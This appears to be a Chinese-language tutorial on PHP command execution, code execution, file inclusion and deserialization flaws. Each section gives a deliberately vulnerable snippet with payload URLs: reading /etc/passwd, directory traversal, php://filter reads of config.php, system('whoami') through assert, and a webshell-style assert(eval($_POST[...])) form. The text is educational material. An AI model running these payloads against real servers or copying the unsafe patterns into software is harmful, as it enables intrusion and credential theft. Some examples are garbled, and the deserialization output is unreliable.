一、命令執行
1.1、命令執行原理
<?php
$cmd = $_GET['cmd']; // 直接獲取用戶輸入
system($cmd); // 不安全
?>#payload:
http://example.com/vuln.php?cmd=whoami#結果:
www-data
1.2、危險函數
1.2.1、system()
介紹:
執行外部命令,將命令的輸出直接發送到標準輸出(通常是瀏覽器),并返回命令輸出的最后一行。
利用手段:
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
//payload
http://example.com/vuln.php?cmd=ls
//output
index.php
config.php
.htaccess
?
1.2.2、exec()
介紹:
exec()
執行外部命令,將命令的輸出存儲在數組中,返回命令的返回值。
利用手段:
<?php
exec($_GET['cmd'], $output);
echo implode("\n", $output);
?>
//payload
http://example.com/vuln.php?cmd=cat /etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
1.2.3、shell_exec()
介紹:
shell_exec()
執行外部命令,返回命令輸出的完整字符串(包含換行符)。
利用手段:
<?php
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
?>http://example.com/vuln.php?cmd=cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
1.2.4、passthru()
介紹:
passthru()
執行命令,將原始輸出直接傳遞給瀏覽器(適合處理二進制輸出)。
利用手段:
<?php
passthru($_GET['cmd']);
?>http://example.com/vuln.php?cmd=cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
?
1.2.5、popen()
介紹:
執行命令,返回進程指針,可讀取/寫入。
利用手段:
<?php
$handle = popen($_GET['cmd'], "r");
echo fread($handle, 4096);
pclose($handle);
?>http://example.com/vuln.php?cmd=whoami
1.2.6、proc_open()
介紹:
功能更強大,可控制進程輸入/輸出/錯誤流。
利用手段:
同上(popen)
1.2.7、backticks (\``)
介紹:
反引號語法 `cmd`
等價于 shell_exec()
。
利用手段:
與shell_exec()相同。
?
二、代碼執行
2.1、代碼執行原理
以eval()為例:
<?php
$code = $_GET['code'];
eval($code);
?>
//payload
http://example.com/vuln.php?code=phpinfo();
//output
phpinfo:
php version ...
2.2、危險函數
2.2.1、eval()
介紹:
將傳入的字符串解析為 PHP 代碼 并執行。如果傳入的內容不受控或未經過濾,可能導致任意代碼執行。
利用手段:
略
?
2.2.2、assert()
介紹:
assert()
在 PHP 5.2.0 及以上版本可以動態執行表達式(類似 eval
),如果表達式的結果為 false
,則會報錯。
在 PHP 7.0.0 之前,它能夠直接執行 PHP 代碼,因此 非常危險。
補充:assert接收的參數為函數,一般代碼不能直接執行,最好以assert(eval($_POST[123]))這樣的形式。
利用手段:
<?php
$input = $_GET['input'];
assert($input);
?>input=system('whoami');www-data
2.2.3、preg_replace()
介紹:
preg_replace()
是 PHP 的正則表達式替換函數。在 PHP 5.5.0 之前,使用 /e 修飾符 可以將匹配的字符串作為 PHP 代碼執行。
preg_replace(pattern, replacement, subject);
利用手段:
<?php
$input = $_GET['input'];
echo preg_replace('/.*/e', $input, 'test');
?>input=system('whoami')www-data
2.2.4、create_function()
介紹:
create_function()
創建一個匿名函數,但參數和函數體都是字符串,因此極易引發代碼注入漏洞。
create_function('$args', 'return $args + 1;');
利用手段:
詳情見:WEB安全--RCE--RCE的繞過-CSDN博客
?
三、文件包含/讀取
3.1、文件包含
3.1.1、include()
介紹:
包含并執行指定文件,失敗時僅拋出警告。
利用手段:
1、在上傳的圖片中寫入木馬,執行木馬中的php惡意代碼
2、命令執行:
<?php
$filename = $_GET['file'];
include($filename);
?>
//payload
http://example.com/vuln.php?file=/etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
3.1.2、require()
介紹:
包含并執行指定文件,失敗則中止腳本。
利用手段:
同上。
?
3.2、文件讀取
3.2.1、file_get_contents()
介紹:
讀取文件并將其內容作為字符串返回。
利用手段:
<?php
$filename = $_GET['file'];
echo file_get_contents($filename);
?>http://example.com/vuln.php?file=/etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
3.2.2、readfile()
介紹:
讀取文件內容并直接輸出到瀏覽器。
利用手段:
<?php
$file = $_GET['file'];
readfile($file);
?>http://example.com/vuln.php?file=/etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
//目錄遍歷
http://example.com/vuln.php?file=../../../../etc/passwd//搭配為協議
http://example.com/vuln.php?file=php://filter/convert.base64-encode/resource=config.php
四、反序列化
4.1、原理
在 PHP 中,序列化(Serialization) 是指將對象或數據結構轉化為字符串格式,方便存儲或傳輸。反序列化(Unserialization) 則是將序列化后的字符串還原為 PHP 對象或數據結構的過程。
而在數據進行反序列化時就會執行。
4.2、函數
4.2.1、serialize()??unserialize()
// 序列化
string serialize(mixed $value)// 反序列化
mixed unserialize(string $data, array $options = [])
4.2.2、漏洞利用
<?php
$data = $_GET['data'];
unserialize($data);
?>http://example.com/vuln.php?data=O:4:"Test":1:{s:4:"prop";s:4:"id";}uid=33(www-data) gid=33(www-data) groups=33(www-data)
?
?
?
?